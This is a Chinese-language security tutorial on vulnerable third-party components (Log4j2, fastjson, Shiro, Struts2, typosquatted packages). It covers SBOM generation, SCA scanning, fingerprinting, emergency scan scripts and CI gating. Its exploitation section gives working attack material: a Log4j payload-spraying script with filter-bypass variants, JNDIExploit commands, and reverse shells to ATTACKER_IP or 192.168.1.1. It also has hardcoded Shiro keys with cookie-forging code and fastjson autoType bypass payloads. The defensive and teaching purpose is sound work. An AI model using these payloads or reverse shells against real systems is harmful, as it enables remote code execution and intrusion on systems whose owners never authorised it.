组件漏洞:Log4j、fastjson、Shiro 的排查与治理
这一项以前叫 "Using Components with Known Vulnerabilities"(使用含已知漏洞的组件)。它有个很折磨人的特点:你的代码一行没错,但你的依赖里有洞。 而且这个洞,攻击者比你还先知道。
一、代码没错,依赖有洞
楼盖得完美,水泥是隔壁厂 2019 年那批
你盖了一栋楼,设计完美、施工精良、材料合格。
但水泥是隔壁厂 2019 年批次的,那批水泥三个月前被查出会开裂。
你的楼会不会塌?会。但不是因为你的设计,是因为你用了有问题的组件,而你没有跟踪这个信息。
易受攻击和过时的组件 就是指:你的应用依赖了某个第三方库/框架/中间件,而该组件存在已公开的漏洞(CVE),你却没有升级或修复。
传递依赖:最要命的一点
| 成因 | 具体表现 | 为什么难 |
|---|---|---|
| 依赖是传递的 | 你引了 A,A 引了 B,B 引了有洞的 C | 你根本不知道 C 的存在 |
| 不知道自己用了什么 | 没有 SBOM(软件物料清单) | 出了 CVE 无法快速排查影响范围 |
| 升级有成本 | 升级破坏兼容性,回归测试成本高 | 明知有洞也不敢升 |
| 无人跟踪 CVE | 没有订阅安全通告 | Log4j 爆出来三天后才知道 |
| 版本识别困难 | 组件被打包、改名、加壳 | 黑盒无法确定版本 |
| 组件早已 EOL | 用的框架 5 年前就不维护了 | 官方不修,只能自己 patch |
💡 踩坑提示(传递依赖):这是最致命的一点。以 Log4j2 为例,绝大多数中招的系统从来没有直接依赖过 log4j-core —— 它们依赖的是某个 Spring Boot starter、某个 ES 客户端、某个消息队列 SDK,而那些东西传递依赖了 log4j。所以排查时只扫
pom.xml里直接写的依赖,是查不出来的,必须扫完整的依赖树。
扫出来有 CVE,不等于真能被打
一个组件漏洞要能被实际利用,需要:
- 目标确实使用了受影响版本 —— 版本识别是第一道关卡。
- 漏洞代码路径可达 —— 组件装了但没调用那个功能,就不会被触发。比如某个库只有
XML 解析模块有洞,而你只用它的JSON 解析功能。 - 存在公开的利用方式或可自行构造 —— 大部分 CVE 爆出后几天内就有 PoC。
第 2 点很重要,它决定了**"扫出来有 CVE" 不等于 "真的能被攻击"**。这也是为什么 SCA 工具会有一堆误报 —— 它们只看版本,不看可达性。
五个经典场景,以及那三天
OWASP 数据:CWE 集合仅 3 个(是十项里最少的),但平均加权利用率 6.80%,影响 7.07%。单项利用率极高 —— 因为一旦有 PoC,批量利用成本极低。
典型场景:
场景一:Log4j2 RCE(CVE-2021-44228)
几乎所有 Java 应用都受影响
攻击者只要让应用记录一条包含 ${jndi:ldap://attacker.com/x} 的日志 → RCE
常见触发点:User-Agent、X-Forwarded-For、用户名、搜索关键词
危害等级:满分 10.0场景二:fastjson 反序列化(历史多个 CVE)
请求体: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/x","autoCommit":true}
→ 服务端解析 JSON 时触发 JNDI 注入 → RCE
特征:请求体含 @type 字段场景三:Shiro 反序列化(CVE-2016-4437,Shiro-550)
Cookie: rememberMe=<AES加密的序列化对象>
默认密钥 kPH+bIxk5D2deZiIxcaaaA== 是硬编码且公开的
→ 攻击者用默认密钥构造恶意序列化数据 → 服务端解密后反序列化 → RCE场景四:Struts2 系列(S2-045 等)
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']...}multipart/form-data
→ OGNL 表达式注入 → RCE场景五:供应链投毒
攻击者发布一个与流行包名字相似的恶意包(typosquatting)
lodash → lodahs / lod-ash / lodashs
python-dateutil → python3-dateutil (经典案例,偷了 AWS 密钥)
开发者手滑装错 → 恶意代码在安装脚本中执行 → 凭据泄露📌 真实场景:某次 Log4j 应急,我们有一台服务器怎么都查不到 log4j 的 jar 包,但 WAF 日志显示它确实被打过。最后在一个打包在 fat jar 里的内嵌依赖中找到了 —— 它被 shade 插件重定位并打进了
BOOT-INF/lib,常规的文件搜索根本搜不到。排查组件漏洞,一定要扫依赖树,不能只搜文件名。
二、先搞清楚你用了什么
排查第一步:先知道你用了什么
这是最可靠的方式 —— 直接看项目到底依赖了什么。
Java(Maven)
# 生成完整依赖树(关键!包含传递依赖)
mvn dependency:tree -Dverbose > deps.txt
# 只看某个组件的依赖路径
mvn dependency:tree -Dincludes=org.apache.logging.log4j
# 查找 log4j(Log4j 应急时的经典命令)
mvn dependency:tree | grep -i log4j
# 查找所有含已知漏洞嫌疑的常见组件
mvn dependency:tree | grep -iE "log4j|fastjson|shiro|struts|xstream|jackson|snakeyaml"
# Gradle 项目
./gradlew dependencies > deps.txt
./gradlew dependencyInsight --dependency log4j-core
# 对于已经打好的 fat jar / war 包
# 列出 jar 内所有内嵌依赖(这步非常重要,fat jar 里的依赖常被漏掉)
unzip -l app.jar | grep -iE "\.jar$" | grep -iE "log4j|fastjson|shiro"
# 更彻底:解压后递归检查
mkdir -p /tmp/jarx && cd /tmp/jarx && unzip -q /path/to/app.jar
find . -name "*.jar" | while read j; do
echo "=== $j ==="
unzip -p "$j" META-INF/MANIFEST.MF 2>/dev/null | grep -iE "Implementation-Version|Bundle-Version"
donePython
# 列出已安装包及其版本
pip list --format=freeze > requirements-frozen.txt
# 生成完整依赖树
pip install pipdeptree
pipdeptree > deps.txt
pipdeptree -p requests # 查看某个包的依赖与被依赖关系
# 从 requirements.txt 检查
cat requirements.txt
# 检查 poetry / pipenv
poetry show --tree
pipenv graphNode.js
# 列出依赖树
npm list --all > deps.txt
npm list --all 2>/dev/null | grep -iE "lodash|axios|express"
# 只看生产依赖(排除 devDependencies,减少噪音)
npm list --omit=dev --all
# yarn / pnpm
yarn list --depth=10
pnpm list --depth=10
# 检查 package-lock.json 中某个包的所有版本
jq '.packages | to_entries | map(select(.key | contains("lodash")))' package-lock.jsonPHP
composer show --tree
composer show | grep -iE "monolog|guzzle|symfony"Go
go list -m all # 列出所有模块
go mod graph # 依赖关系图通用:生成 SBOM(软件物料清单)
SBOM 是现在最推荐的资产梳理方式 —— 它把"我用了什么"变成一份机器可读的清单。
# 使用 Syft 生成 SBOM(支持多种语言和容器镜像)
# 安装: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh
# 扫描目录
syft dir:/path/to/project -o cyclonedx-json > sbom.json
# 扫描容器镜像
syft myimage:latest -o cyclonedx-json > sbom.json
# 扫描并直接输出表格
syft dir:. -o table
# 输出格式支持: cyclonedx-json / spdx-json / syft-json / table有了 SBOM,下次再有 Log4j 级别的全行业漏洞,几分钟就能确认影响范围,而不用临时全公司排查三天。
SCA 扫描:误报很多,靠可达性过滤
生成依赖清单后,用工具匹配 CVE 数据库。
# ===== OWASP Dependency-Check(老牌,Java 生态最好用)=====
# 下载: https://owasp.org/www-project-dependency-check/
dependency-check.sh \
--project "MyApp" \
--scan /path/to/project \
--out /tmp/dc-report \
--format HTML \
--format JSON
# 首次运行会下载 NVD 数据库,比较慢(几十分钟),后续增量更新快
# 报告会列出每个依赖匹配的 CVE、CVSS 评分、以及可信度
# 离线/内网环境:需要配置 NVD API Key 加快下载
# export NVD_API_KEY=your-key
# ===== Trivy(推荐,快且支持全场景)=====
# 安装: https://github.com/aquasecurity/trivy
# 扫依赖文件
trivy fs --severity HIGH,CRITICAL /path/to/project
# 扫容器镜像
trivy image --severity HIGH,CRITICAL myimage:latest
# 扫 SBOM
trivy sbom sbom.json
# 输出 JSON
trivy fs --format json --output result.json /path/to/project
# ===== Grype(Anchore,与 Syft 配套)=====
syft dir:. -o json > sbom.json
grype sbom:./sbom.json
# ===== npm / yarn 内置 =====
npm audit
npm audit --json
npm audit fix # 自动修复(谨慎,可能破坏兼容性)
yarn audit
# ===== Python =====
pip install pip-audit
pip-audit
pip-audit --requirement requirements.txt
# 或 safety
pip install safety
safety check -r requirements.txt
# ===== Go =====
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...SCA 结果的处理原则(这很重要,否则会被海量告警淹没):
1. 看 CVSS 评分:只优先处理 CRITICAL(9.0+) 和 HIGH(7.0+)
2. 看是否有公开 PoC/EXP:
- 有 EXP → 立即修(攻击者已经在批量扫了)
- 只有 PoC → 尽快修
- 都无 → 排期修
3. 看可达性(关键!大幅降低误报):
- 这个有洞的函数,我们的代码真的调用了吗?
- 例:jackson-databind 的某个 gadget 依赖 commons-collections,
如果我们项目里没有 commons-collections,该 gadget 就不可用
4. 看是否有修复版本,以及升级成本
5. 无法升级时的临时方案:
- 虚拟补丁(WAF 规则拦截)
- 移除不必要的依赖
- 参数/配置层面禁用危险特性(如 Log4j 的 -Dlog4j2.formatMsgNoLookups=true)黑盒:指纹识别与版本确定
白盒拿不到(比如测试别人的系统)时,靠黑盒指纹。
Step 1:识别技术栈
# ===== WhatWeb(快速识别)=====
whatweb -a 3 https://target.com -v
# -a 3 是激进模式,会做更多探测
# ===== Wappalyzer(浏览器插件,最直观)=====
# 安装浏览器插件,访问页面即可看到完整技术栈
# ===== Nuclei 技术识别(推荐,可批量)=====
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -silent
# 批量识别
nuclei -l targets.txt -tags tech -o tech_results.txt
# ===== httpx(快速批量指纹)=====
echo "https://target.com" | httpx -tech-detect -title -status-code -follow-redirectsStep 2:识别具体版本
# 方法 1:从响应头识别
curl -sI https://target.com | grep -iE "server|x-powered-by|x-aspnet-version|x-generator"
# 方法 2:从特定文件的特征识别
# jQuery 版本
curl -s https://target.com/js/jquery.js | head -5
# 通常第一行注释含版本号: /*! jQuery v3.5.1 | (c) JS Foundation ... */
# 方法 3:从路径特征识别
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/wp-login.php # WordPress
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/administrator/ # Joomla
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/user/login # Drupal
# 方法 4:从报错页面识别(详细错误会泄露版本)
curl -s "https://target.com/'" | grep -iE "version|apache|tomcat|nginx|php/"
# 方法 5:从 favicon 的 hash 识别
curl -s https://target.com/favicon.ico | md5sum
# 然后查 favicon hash 数据库(如 https://github.com/pentestmonkey/favicon-hash)
# 方法 6:用 nuclei 的版本检测模板
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -tags version -silentStep 3:CVE 匹配与验证
# ===== Nuclei CVE 模板扫描(黑盒验证组件漏洞的首选)=====
# 全量扫(覆盖所有已知 CVE,请求量大,注意速率)
nuclei -u https://target.com -t ~/nuclei-templates/ -severity critical,high -rate-limit 10
# 按组件定向扫(推荐,精准且快)
nuclei -u https://target.com -t ~/nuclei-templates/http/cves/2021/ -tags log4j
nuclei -u https://target.com -tags shiro,fastjson,struts,weblogic
# 批量扫多个目标(适合应急响应时全量排查)
nuclei -l all_targets.txt -tags cve -severity critical,high \
-rate-limit 30 -o cve_results.txt
# 搜索模板
nuclei -tl | grep -i log4j
ls ~/nuclei-templates/http/cves/ | grep -i "2021"
# ===== searchsploit 查找 EXP =====
searchsploit log4j
searchsploit "Apache Shiro"
searchsploit fastjson
# -x 查看 exploit 源码
searchsploit -x 50592
# ===== 在线 CVE 查询 =====
# https://nvd.nist.gov/
# https://cve.mitre.org/
# https://github.com/advisories
# https://avd.aliyun.com/ (阿里云漏洞库,中文,更新快)黑盒判断依据
| 场景 | 判断依据 |
|---|---|
| Shiro | 响应含 rememberMe=deleteMe Cookie → 使用 Shiro |
| fastjson | 提交畸形 JSON 报错信息含 fastjson;或响应 Content-Type: application/json 且错误信息含 com.alibaba.fastjson |
| Struts2 | URL 后缀 .action / .do;或报错含 Struts |
| Weblogic | 端口 7001;/console 可访问;报错含 Oracle WebLogic |
| Log4j2 | 无法直接判断,需测 DNS 回连;或用版本识别 + CVE 匹配 |
| Tomcat | 8080 端口;报错页含版本号;/manager/html |
| Jenkins | 响应头含 X-Jenkins;/jenkins/ 路径 |
| Drupal/WordPress | /CHANGELOG.txt(版本)、/wp-login.php、meta 标签 generator |
💡 踩坑提示:黑盒识别版本的准确率有限。组件被二次打包、前端文件被合并压缩、CDN 缓存、版本信息被刻意隐藏 —— 这些都会导致误判。所以黑盒扫出 CVE 后,最好能找到第二个证据交叉验证(比如响应报错细节、特定路径存在性、行为差异)。
三、Log4j、Shiro、fastjson 逐个复现
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
Log4j2:从 DNSLog 探测到 RCE
原理:Log4j2 支持 ${jndi:ldap://...} 这种"查找"语法,会在记录日志时去请求外部 LDAP 服务器并加载远程类 → 远程代码执行。
Step 1:准备 DNSLog 平台(检测是否有回连,最安全的验证方式)
常用 DNSLog 平台:
http://dnslog.cn (国内,快)
http://ceye.io (功能全)
自建: interact.sh / Burp CollaboratorStep 2:构造 Payload 并注入到所有可能的日志点
#!/usr/bin/env bash
# Log4j2 检测:把 payload 注入到所有可能被记录的位置
# 用法: bash log4j_check.sh https://target.com YOURDNSDOMAIN
TARGET="$1"
DNS="$2" # 例如: abc123.dnslog.cn
# 各类 payload(含混淆变体,绕过简单过滤)
PAYLOADS=(
'${jndi:ldap://'${DNS}'/a}'
'${jndi:rmi://'${DNS}'/a}'
'${${lower:j}ndi:ldap://'${DNS}'/b}' # 大小写/嵌套混淆
'${${upper:j}ndi:ldap://'${DNS}'/c}'
'${jndi:ldap://'${DNS}'/#}' # 带 # 绕过部分 WAF
'${${::-j}ndi:ldap://'${DNS}'/d}' # ::- 绕过
'${jndi:${lower:l}${lower:d}a${lower:p}://'${DNS}'/e}'
'${jndi:ldap://127.0.0.1#'${DNS}'/f}' # 127.0.0.1# 绕过内网限制
)
echo "=========== 注入到 HTTP 头 ==========="
for p in "${PAYLOADS[@]}"; do
# User-Agent(最常见的日志点)
curl -s -o /dev/null --max-time 8 -H "User-Agent: $p" "$TARGET"
# X-Forwarded-For(反向代理后常记录真实 IP)
curl -s -o /dev/null --max-time 8 -H "X-Forwarded-For: $p" "$TARGET"
# Referer
curl -s -o /dev/null --max-time 8 -H "Referer: $p" "$TARGET"
# X-Client-IP / X-Real-IP / CF-Connecting-IP
curl -s -o /dev/null --max-time 8 -H "X-Client-IP: $p" "$TARGET"
curl -s -o /dev/null --max-time 8 -H "X-Real-IP: $p" "$TARGET"
# Cookie
curl -s -o /dev/null --max-time 8 -H "Cookie: session=$p" "$TARGET"
# X-Api-Version(Spring Boot 常见日志点)
curl -s -o /dev/null --max-time 8 -H "X-Api-Version: $p" "$TARGET"
# 自定义头
curl -s -o /dev/null --max-time 8 -H "Authorization: Bearer $p" "$TARGET"
done
echo
echo "=========== 注入到 URL 参数 ==========="
for p in "${PAYLOADS[@]}"; do
curl -s -o /dev/null --max-time 8 "$TARGET/?q=$p"
curl -s -o /dev/null --max-time 8 "$TARGET/?search=$p"
curl -s -o /dev/null --max-time 8 "$TARGET/?id=$p"
done
echo
echo "=========== 注入到 POST 表单 / 登录 ==========="
for p in "${PAYLOADS[@]}"; do
# 用户名(登录失败日志常记录用户名)
curl -s -o /dev/null --max-time 8 -X POST "$TARGET/login" \
-d "username=$p&password=test123"
# JSON 体
curl -s -o /dev/null --max-time 8 -X POST "$TARGET/api/search" \
-H "Content-Type: application/json" -d "{\"keyword\":\"$p\"}"
done
echo
echo "=========== 完成 ==========="
echo "请到 DNSLog 平台查看是否有解析记录"
echo "若有 ${DNS} 的解析记录 → 目标存在 Log4j2 JNDI 注入(CVE-2021-44228)"Step 3:完整 RCE 利用(确认存在后)
# 使用 JNDIExploit 搭建恶意 LDAP + HTTP 服务
# 工具: https://github.com/feihong-cs/JNDIExploit
# 1. 启动恶意服务(监听 LDAP 1389 和 HTTP 8888)
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0 -p 8888
# 2. 发送 payload(LDAP 端口 1389)
curl -H "User-Agent: \${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZA==}" \
https://target.com
# Base64 部分解码后是: touch /tmp/pwned
# 3. 确认执行结果(需要有其他方式验证,如DNSLog外带结果)
curl -H "User-Agent: \${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/$(echo -n 'id' | base64)}" \
https://target.com
# 反弹 Shell
CMD="bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# 需要 Base64 编码(注意 JNDI 对特殊字符敏感,通常要先编码再走 Basic/Command/Base64)Log4j 的应急缓解措施(无法立即升级时):
# 方案 1(Log4j 2.10+):JVM 启动参数禁用 lookup
-Dlog4j2.formatMsgNoLookups=true
# 方案 2(所有 2.x):设置环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# 方案 3(2.0-beta9 到 2.10.0,前两条无效时):
# 删除 log4j-core 中的 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 验证是否删除成功
unzip -l log4j-core-*.jar | grep -i jndilookup
# 无输出 = 已删除
# 方案 4(最彻底):升级到 2.17.1+Shiro-550:一个硬编码密钥的代价
原理:Shiro 的"记住我"功能把用户身份序列化后 AES 加密放在 rememberMe Cookie 里。1.2.4 及之前版本使用硬编码的默认密钥,密钥已公开 → 攻击者可伪造任意序列化对象 → 反序列化 RCE。
Step 1:确认使用 Shiro
curl -sI https://target.com/login | grep -i "rememberMe"
# 若返回 Set-Cookie: rememberMe=deleteMe → 使用 ShiroStep 2:检测默认密钥
# 使用 shiro-exploit 工具
# https://github.com/insightglacier/Shiro_exploit
python3 shiro_exploit.py -u https://target.com
# 工具会自动尝试常见的默认密钥,输出检测到的 key
# 或者用 nuclei
nuclei -u https://target.com -t ~/nuclei-templates/http/cves/2016/CVE-2016-4437.yaml
# 手动验证:用默认密钥构造一个无害的探测请求
# 默认密钥(部分已知):
# kPH+bIxk5D2deZiIxcaaaA==
# 2AvVhdsgUs0FSA3SDFAdag==
# 3AvVhmFLUs0KTA3Kprsdag==
# wGiHplamyXlVB11UXWol8g==Step 3:利用(使用 ysoserial 生成 payload)
# 1. 下载 ysoserial
# https://github.com/frohoff/ysoserial/releases
# 2. 生成 CommonsBeanutils 链的 payload(Shiro 最常用的链)
java -jar ysoserial.jar CommonsBeanutils1 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" \
> payload.ser
# 中间的 base64 解码后是: bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
# 注意:命令中的特殊字符需要 base64 编码,否则会被 shell 解析破坏
# 3. 用 Shiro 默认密钥加密 payload
python3 -c "
from Crypto.Cipher import AES
import base64, sys
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
# Shiro 1.2.4 使用 AES/CBC/PKCS5Padding,IV 是随机生成的 16 字节
iv = b'0123456789abcdef' # 实际使用时随机生成
payload = open('payload.ser','rb').read()
# PKCS7 填充
bs = 16
pad_len = bs - (len(payload) % bs)
payload += bytes([pad_len]) * pad_len
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(payload)
# Shiro 的 Cookie 格式: base64(iv + ciphertext)
print(base64.b64encode(iv + encrypted).decode())
" > rememberme_cookie.txt
# 4. 监听反弹 shell
nc -lvnp 4444
# 5. 发送请求
curl -s https://target.com/ \
-H "Cookie: rememberMe=$(cat rememberme_cookie.txt)"💡 踩坑提示:Shiro 利用最麻烦的是 gadget chain 的选择。不同版本的 Shiro、不同的依赖环境,可用的链不同。常见顺序:
CommonsBeanutils1→CommonsCollections*→URLDNS(这个只做 DNS 探测,不执行命令,最适合安全验证)。确认漏洞存在用 URLDNS 就够了,不要一上来就打 RCE。
用 URLDNS 做安全探测:
# URLDNS 链只触发一次 DNS 查询,不执行任何命令 —— 最安全的验证方式
java -jar ysoserial.jar URLDNS "http://your-dnslog-domain.dnslog.cn" > urldns.ser
# 加密后发送
# 到 DNSLog 平台看是否有解析记录 → 有则漏洞存在fastjson:autoType 的前世今生
Step 1:判断是否使用 fastjson
# 方法 1:提交畸形 JSON,看报错
curl -s -X POST https://target.com/api/test \
-H "Content-Type: application/json" \
-d '{"@type":"test"}' | head -c 500
# 若报错含 com.alibaba.fastjson → 使用 fastjson
# 若报错含 Jackson / Gson → 不是 fastjson
# 方法 2:用特殊语法探测(不触发漏洞,只判断解析器)
# fastjson 特有的容错行为:接受 {"a":1,} 这种带尾逗号的非标准 JSON
curl -s -X POST https://target.com/api/test \
-H "Content-Type: application/json" \
-d '{"a":1,}'
# 若不报错 → 高度怀疑 fastjson(严格解析器会报错)
# 方法 3:DNSLog 探测(安全)
curl -s -X POST https://target.com/api/test \
-H "Content-Type: application/json" \
-d '{"@type":"java.net.Inet4Address","val":"your-domain.dnslog.cn"}'
# 到 DNSLog 看是否有解析记录Step 2:利用(开启 autoType 时)
# 1. 准备恶意 LDAP 服务(同 Log4j)
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0 -p 8888
# 2. 发送 payload
curl -s -X POST https://target.com/api/test \
-H "Content-Type: application/json" \
-d '{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ATTACKER_IP:1389/Basic/Command/Base64/aWQ=",
"autoCommit":true
}'
# Base64 "aWQ=" 解码为 "id"
# fastjson 1.2.24 及之前的 payload 变体(绕过 autoType 黑名单)
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://ATTACKER_IP:1389/Exploit",
"autoCommit": true
}
}
# 这是 1.2.47 绕过手法:先加载类到缓存,再引用,绕过 checkAutoType📌 说明:fastjson 1.2.25 之后默认关闭
autoType(safeMode),大部分利用失效。现代版本主要靠"绕过 autoType 的新 gadget",利用难度大幅提升。检测时优先用 DNSLog 判断,不要指望直接 RCE。
供应链投毒:装包前先看这四项
# 检测 typosquatting(仿冒包)
# 原则:安装包前核对包名、作者、下载量、发布时间
# npm 检查包的元信息
npm view <package-name>
# 关注:
# - 创建时间(新包但下载量很大 → 可疑)
# - maintainers(是否官方)
# - 是否有 repository 链接
# 检查包的 postinstall 脚本(恶意代码常藏在这里)
npm view <package-name> scripts
# Python 检查
pip download <package> --no-deps -d /tmp/pkg # 先下载不安装
cd /tmp/pkg && tar -xzf *.tar.gz
cat */setup.py | grep -A10 -iE "cmdclass|post_install|setup\(|ext_modules"
# 看是否有可疑的自定义安装逻辑
# 静态扫描依赖包的恶意行为
# 工具: socket.dev / snyk / npq
npm install -g npq
npq install <package-name> # 安装前自动检查已知风险应急响应:一分钟内扫完全部资产
Log4j 那次应急让我意识到:必须有一个脚本能在一分钟内扫完全部资产。
#!/usr/bin/env bash
# 服务器 log4j 应急排查脚本(在每台服务器上执行)
# 用法: bash scan_log4j.sh
echo "=========== $(hostname) - $(date) ==========="
FOUND=0
echo "--- 1. 查找文件系统中的 log4j jar ---"
find / -name "log4j-core*.jar" -not -path "*/proc/*" 2>/dev/null | while read jar; do
echo "[!] 发现: $jar"
# 提取版本
ver=$(unzip -p "$jar" META-INF/MANIFEST.MF 2>/dev/null | grep -i "Implementation-Version" | head -1)
echo " 版本: $ver"
done
echo
echo "--- 2. 查找运行中的 Java 进程加载的 log4j ---"
for pid in $(pgrep java 2>/dev/null); do
echo "[*] Java PID: $pid"
# 用 lsof 查看该进程打开的文件
lsof -p "$pid" 2>/dev/null | grep -i "log4j" | awk '{print " 加载: "$9}'
done
echo
echo "--- 3. 检查 fat jar / war 内的内嵌 log4j ---"
# 查找所有 jar/war/ear 文件
find / \( -name "*.jar" -o -name "*.war" -o -name "*.ear" \) \
-not -path "*/proc/*" -size +1M 2>/dev/null | while read f; do
# 不解压,直接列出内容并 grep(快)
if unzip -l "$f" 2>/dev/null | grep -qi "log4j-core"; then
echo "[!] $f 内嵌 log4j-core"
unzip -l "$f" 2>/dev/null | grep -i "log4j-core" | awk '{print " "$4}'
fi
done
echo
echo "--- 4. 检查 Maven/Gradle 本地仓库 ---"
find ~/.m2 ~/.gradle -name "log4j-core*.jar" 2>/dev/null | head -20
echo
echo "--- 5. 检查 Docker 镜像 ---"
if command -v docker &> /dev/null; then
docker images --format "{{.Repository}}:{{.Tag}}" | while read img; do
if docker run --rm --entrypoint sh "$img" -c \
"find / -name 'log4j-core*.jar' 2>/dev/null | head -5" 2>/dev/null | grep -q "log4j"; then
echo "[!] 镜像 $img 含 log4j"
fi
done
fi
echo
echo "=========== 排查完成 ==========="
echo "受影响版本: 2.0-beta9 <= log4j < 2.17.0"
echo "修复方案: 升级到 2.17.1+"四、从 SBOM 到 CI 卡点的治理
SBOM:让全量排查从三天变三分钟
这是 A06 治理的地基 —— 你无法管理你不知道的东西。
# 在 CI 中自动生成并归档 SBOM
# 每次构建都产出一份,保留历史版本
# GitHub Actions 示例# .github/workflows/sbom.yml
name: Generate SBOM
on:
push:
branches: [main]
release:
types: [published]
jobs:
sbom:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install Syft
run: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
- name: Generate SBOM
run: syft dir:. -o cyclonedx-json > sbom.json
- name: Scan SBOM for vulnerabilities
uses: anchore/scan-action@v3
with:
sbom: sbom.json
fail-build: true
severity-cutoff: high
- name: Upload SBOM artifact
uses: actions/upload-artifact@v4
with:
name: sbom
path: sbom.json
- name: Attach SBOM to release
if: github.event_name == 'release'
uses: softprops/action-gh-release@v1
with:
files: sbom.jsonSBOM 的核心价值 —— 下次 Log4j 事件发生时:
# 有了 SBOM,全量排查只需要一条命令
grep -i "log4j" sbom.json | jq .
# 或者用 trivy 直接扫历史 SBOM
for sbom in sbom-archive/*.json; do
echo "=== $sbom ==="
trivy sbom "$sbom" --severity CRITICAL
done
# 几分钟就能确认全部受影响的应用,而不是临时全公司排查三天CI 卡点:高危组件进不来
# .github/workflows/dependency-check.yml
name: Dependency Security Check
on:
push:
branches: [main, develop]
pull_request:
schedule:
# 每周一凌晨 2 点全量扫描(捕获新披露的 CVE)
- cron: '0 2 * * 1'
jobs:
sca:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# ===== 方案 A: Trivy(推荐,快)=====
- name: Trivy vulnerability scan
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
format: 'sarif'
output: 'trivy-results.sarif'
severity: 'CRITICAL,HIGH'
exit-code: '1' # 发现高危则阻断
- name: Upload to GitHub Security tab
uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'trivy-results.sarif'
# ===== 方案 B: OWASP Dependency-Check =====
- name: Dependency-Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'MyApp'
path: '.'
format: 'HTML'
args: >
--failOnCVSS 7
--enableRetired
- name: Upload report
uses: actions/upload-artifact@v4
if: always()
with:
name: dependency-check-report
path: reports/
# ===== Node 项目额外用 npm audit =====
- name: npm audit
run: |
npm ci
npm audit --audit-level=high
continue-on-error: false企业级:Dependabot / Renovate 自动升级
# .github/dependabot.yml
version: 2
updates:
# Java / Maven
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
# 只自动创建安全更新的 PR
labels:
- "security"
- "dependencies"
# 安全更新优先
target-branch: "develop"
# Node
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
versioning-strategy: increase-if-necessary
# Python
- package-ecosystem: "pip"
directory: "/"
schedule:
interval: "weekly"
# Docker 基础镜像
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
# GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"💡 踩坑提示:Dependabot 的 PR 会非常多(一个中型项目每周几十个),如果不加管理会淹没团队。建议配置:安全更新自动合并(有测试保障的前提下),普通版本更新人工定期批量处理。 另外
open-pull-requests-limit一定要设,否则 PR 堆积到几百个。
依赖锁定、白名单与依赖混淆防护
策略一:锁定版本 + 校验和
# ===== Python =====
# 生成锁定文件(包含精确的传递依赖版本和 hash)
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt
# 安装时校验 hash(防止依赖被篡改)
pip install --require-hashes -r requirements.txt
# ===== Node =====
# package-lock.json / yarn.lock 必须提交到 Git
# CI 中使用 npm ci 而非 npm install(严格按 lock 文件安装)
npm ci
# 开启严格模式
npm config set save-exact true # 精确版本,不用 ^ ~
# ===== Go =====
# go.sum 提供校验和,必须提交
# 设置环境变量禁止不安全的下载
export GOFLAGS="-mod=readonly"
export GONOSUMDB=""
export GONOSUMCHECK=0
export GOSUMDB=sum.golang.org
# 验证依赖
go mod verify
# ===== Java =====
# Maven 使用 dependency-lock 或 enforcer 插件
# Gradle 启用 dependency locking
./gradlew dependencies --write-locks策略二:依赖白名单 / 审批
<!-- Maven Enforcer Plugin: 禁止引入黑名单依赖 -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.4.1</version>
<executions>
<execution>
<id>ban-vulnerable-deps</id>
<goals><goal>enforce</goal></goals>
<configuration>
<rules>
<!-- 禁止黑名单依赖 -->
<bannedDependencies>
<excludes>
<!-- Log4j 2.x < 2.17.1 一律禁止 -->
<exclude>org.apache.logging.log4j:log4j-core:(,2.17.1)</exclude>
<!-- fastjson < 1.2.83 禁止 -->
<exclude>com.alibaba:fastjson:(,1.2.83)</exclude>
<!-- Shiro < 1.13.0 禁止 -->
<exclude>org.apache.shiro:shiro-core:(,1.13.0)</exclude>
<!-- 禁止 commons-collections(反序列化 gadget 温床)-->
<exclude>commons-collections:commons-collections</exclude>
</excludes>
</bannedDependencies>
<!-- 强制依赖版本收敛(避免同一组件多版本)-->
<dependencyConvergence/>
<!-- 禁止 SNAPSHOT 依赖进入生产构建 -->
<requireReleaseDeps>
<message>No Snapshots Allowed in Release!</message>
</requireReleaseDeps>
</rules>
</configuration>
